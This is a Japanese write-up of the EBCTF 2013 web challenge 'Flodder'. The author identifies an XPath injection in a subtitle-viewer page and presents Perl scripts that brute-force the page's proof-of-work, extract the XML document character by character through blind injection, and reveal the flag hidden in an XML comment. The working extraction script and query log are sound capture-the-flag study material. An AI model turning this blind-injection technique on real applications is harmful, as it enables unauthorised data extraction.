Writeup: EBCTF 2013 - Challenge WEB300 “Flodder”
英文はflodderという動画の字幕らしい。
次のページへのジャンプはJavaScriptで行なっており、proofは(擬似コードで) hex(md5(pos||proof))[0..3] == "1234" になるように生成される。ただし||は文字列連結である。
とりあえずアクセスのためのスクリプトをでっち上げる。
use strict; use warnings; use Digest::MD5 qw(md5_hex); sub escape { my $s = shift; $s =~ s/(\W)/'%'. unpack("H*", $1)/ge; return $s; } my $s = do {local $/; <>}; my $proof = 0; while (substr(md5_hex($s . $proof), 0, 4) ne '1234') { $proof += 1 } system "curl", "http://46.137.18.104/?pos=@{[escape($s)]}&proof=$proof\n";
Usage: echo -n "/etc/passwd" | perl access.pl
posに1+1と渡すと2のページが表示されるのでSQLインジェクションとevalを疑った。
挙動を観察すると次のような結果が得られた。
- #や--によるコメントアウトが動かない
- @1が動かない
- phpのevalではない
- 1 + ('1')は2扱い
- length, len, strlenは動かない
- ' 2 'は2扱い
- 1<2は大量に出力される
- (2<3)は1扱い、(2>3)は0扱い
- (2=3)は0扱い、(2!=3)は1扱い
- (1='1')は1, (1<>'1')はエラー
- ""も文字列扱い
- 0x1はエラー、09は9扱い
- --9は9扱い
- 1/1がエラー
- 3*3は9扱いで掛け算
- 9 div 3が3扱い
- 特徴的
- 9 mod 3が0扱い
- (2 and 2)は1扱い
- (0 and 0)と(0 and 1)と(0 or 0)は0、(0 or 1)が1
- (1 and 2)も1
- ビット演算の可能性はない
- 1.0は1、ただし1.5は空
- (.5*2)が1
- (round(.5)*2)が2
divが特徴的なのでそこを元に探すとXPathらしいことが分かった。XML Path Language - Wikipedia
(concat("1","0"))が10扱いなのでXPathで間違いないと判断した。
XPathのインジェクションの参考資料: XPath インジェクションによる危険を回避する
指定したパスの文字列を取得するスクリプトを作成した。
use strict; use warnings; use Digest::MD5 qw(md5_hex); my $target = 'ここにXPath'; sub escape { my $s = shift; $s =~ s/(\W)/'%'. unpack("H*", $1)/ge; return $s; } sub escape_xml { my $s = shift; $s =~ s/\&/&/g; $s =~ s/\"/"/g; $s =~ s/</</g; $s =~ s/>/>/g; return $s; } sub query { my $s = shift; my $proof = 0; while (substr(md5_hex($s . $proof), 0, 4) ne '1234') { $proof += 1; } print "$s\n"; my $r = `curl -s "http://46.137.18.104/?pos=@{[escape($s)]}&proof=$proof"`; if ($r =~ m{<pre>\n(.*)\n</pre>}s) { return $1; } else { die } } sub str2pos { my $s = shift; $s =~ s/\n.*//s; open my $fh, '<', '字幕が1行に一つ入っているファイル' or die $!; my $r; my $i = 0; while (my $line = <$fh>) { if ($line =~ /\Q$s\E/) { if (defined $r) { die; } else { $r = $i; } } $i++; } return $r; } #my @chars = map {chr} 0x20..0x7e; my @chars = ('0'..'9', 'a'..'z', 'A'..'Z', map{chr}(0x20..0x2f,0x3a..0x40,0x5b..0x60,0x7b..0x7e)); my $name = ""; my $length = str2pos(query(sprintf('string-length(%s)', $target))); print $length, "\n"; for my $i (1..$length) { my $ok = 0; for my $c (@chars) { my $q = sprintf '(substring(%s,%d,1) = "%s")', $target, $i, escape_xml($c); if (str2pos(query($q))) { $ok = 1; $name .= $c; last; } } if (!$ok) { print $name, "\n"; print "not found\n"; exit 1; } } print $name, "\n";
XML文書を取得していく。
- count(/*) = 1
- string-length(name(/*[1])) = 6
- count(/*[1]/*) - 1 → 最後の文章
- /*[1]/の下にあるノードが文章に対応している
- string-length(name(/*[1]/*[1])) = 4
- string-length(/*[1]/*[1]) = 34
- echo -n 'It seems like a ridiculous idea!' | wc -c = 32
- string-length(/*[1]/*[2]) = 57
- echo -n 'We should give them a chance.|They have to go somewhere' | wc -c = 55
- +2であっているので\n二つと推測
- string-length(/*[1]/namespace::*[1]) = 36
- count(/@*) = 0
- count(/*[1]/@*) = 0
- count(/*[1]//@*) = 0
- count(/*[1]/*[1]/@*) = 2
- string-length(name(/*[1]/*[1]/@*[1])) = 4
- string-length(name(/*[1]/*[1]/@*[2])) = 2
- string-length(/*[1]/*[1]/@*[1]) = 12
- string-length(/*[1]/*[1]/@*[2]) = 12
- name(/*[1]/*[1]/@*[1]) = "from"
- name(/*[1]/*[1]/@*[2]) = "to"
- count(/*[1]//@*) - count(/*[1]/*)*2 = 0
- /*[1]以下に余分な属性はない
- /*[1]/*[1]/@from = "00:00:17,544"
- name(/*[1]/*[1]) = "line"
- /*[1]/namespace::*[1] = "http://www.w3.org/XML/1998/namespace"
- name(/*[1]) = "script"
- count(/*[1]//*[string-length(@from) != 12]) = 3
- count(/*[1]//*[string-length(@to) != 12]) = 0
- /*[1]//*[string-length(@from) != 12][1]/@from = ""
- count(/*[1]//*[string-length(@from) = 11]) = 3
- /*[1]//*[string-length(@from) != 12][1]/@from = "00:8:06,400"
ここでフラグが見つけられなかったため、長時間悩んだ。
最後にコメントがないか確認したところ、
- count(//comment()) = 1
- //comment() = "ebCTF{a77cc448eace781101ec6966e9615c8d}"
でフラグを発見した。